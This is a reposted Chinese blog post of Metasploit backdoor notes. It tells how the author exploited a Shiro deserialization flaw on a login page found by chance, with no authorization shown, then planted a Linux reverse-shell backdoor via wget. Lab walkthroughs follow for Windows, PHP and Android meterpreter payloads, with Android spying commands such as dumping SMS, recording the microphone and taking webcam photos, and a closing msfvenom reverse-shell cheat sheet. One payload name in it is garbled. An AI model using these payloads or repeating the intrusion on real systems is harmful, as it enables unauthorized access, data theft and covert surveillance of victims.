MSF后門技術學習實戰筆記


0x01 前言

后門技術一直是滲透測試中十分重要的一個環節,初次接觸后門技術還了解的比較淺顯,本篇文章只是一次學習記錄,沒有涉及免殺和權限維持的相關內容,大佬勿噴。

0x02 MSF生成linux后門實戰

實戰背景

閑來無事,無意間發現了一個使用了shiro的登錄界面,那就測試一下吧

利用shiro反序列化漏洞

目標系統界面如下

登錄后,使用Burpsuite抓包,發現shiro特征字段

使用shiro反序列化利用工具進行漏洞檢測

shiro反序列化漏洞存在,並且能夠成功反彈shell

植入linux后門

植入后門思路

  1. 使用msf生成linux后門,並傳到web服務器上
  2. 通過wget將后門文件下載到目標主機
  3. 運行后門

具體操作

msf生成后門

[root@iz2zegeplp9c3s6hch0jhfz msf]# msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set lhost xxx.xxx.xxx.xxx
msf6 exploit(multi/handler) > set lport 9991
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run

下載后門到目標主機

wget http://xxx.xxx.xxx/shell

更改shell后門權限

chmod 777 shell

運行后門獲取shell

./shell

msf中成功反彈shell

成功獲取服務器權限

0x03 MSF生成windows后門

實驗環境

攻擊機:個人vps

靶機:windows server 2012(192.168.122.137)

植入windows后門

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

進入msfconsole中進行配置

在windows server中模擬受害者點擊exe后門文件

成功獲取shell,並執行命令

0x04 MSF生成PHP后門

實驗環境

攻擊機:個人vps

靶機:centos(192.168.122.133)

植入PHP后門

使用msfvenom生成PHP后門

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 -f raw >text.php

在msfconsole中進行配置

通過wget將PHP后門下載到靶機

運行PHP后門

php ./text.php

成功獲取服務器權限

MSF生成JSP,ASP后門的利用方式與PHP后門基本相同,這里就不舉例了,在文章最后會羅列出具體payload

0x05 MSF生成Android后門

實驗環境

攻擊機:個人vps

靶機:夜神安卓模擬器

具體操作

生成Android后門

使用msfvenom生成Android后門

msfvenom -p android/meterpreter/reverse_tcp LHOST=your_ip LPORT=your_port R > /root/android.apk

反彈shell

配置msfconsole進行監聽

運行安卓程序,成功獲取shell

獲取shell后可以執行一些危害較大的操作

* check_root    #查看是否root
* dump_calllog    #下載通訊記錄
* dump_contacts    #下載聯系人
* dump_sms        #下載短信
* send_sms        #發送短信
* record_mic    #錄音
* webcam_list    #查看手機攝像頭
* webcam_snap    #拍照
* webcam_stream    #連續拍照
* geolocate        #獲取目標地理位置
* upload        #上傳文件到手機
* download        #下載手機上的文件
* shell            #進入手機的bash shell

獲取命令行shell

0X06 利用MSF生成其他后門總結補充

msfvenom -l        列出所有模塊,攻擊載荷

Binaries

linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

Mac
msfvenom -p osx/x86ell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho



Web Payloads

PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php

ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp  

WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
Scripting Payloads  

Python
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py  

Bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh 

Perl
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl




Shellcode
For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.

Linux Based Shellcode

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Windows Based Shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Mac Based Shellcode

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

參考文章:

1.https://blog.csdn.net/qq_41514928/article/details/83108530

2.https://y00z.github.io/2016/12/19/diary-2016-1219-01/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM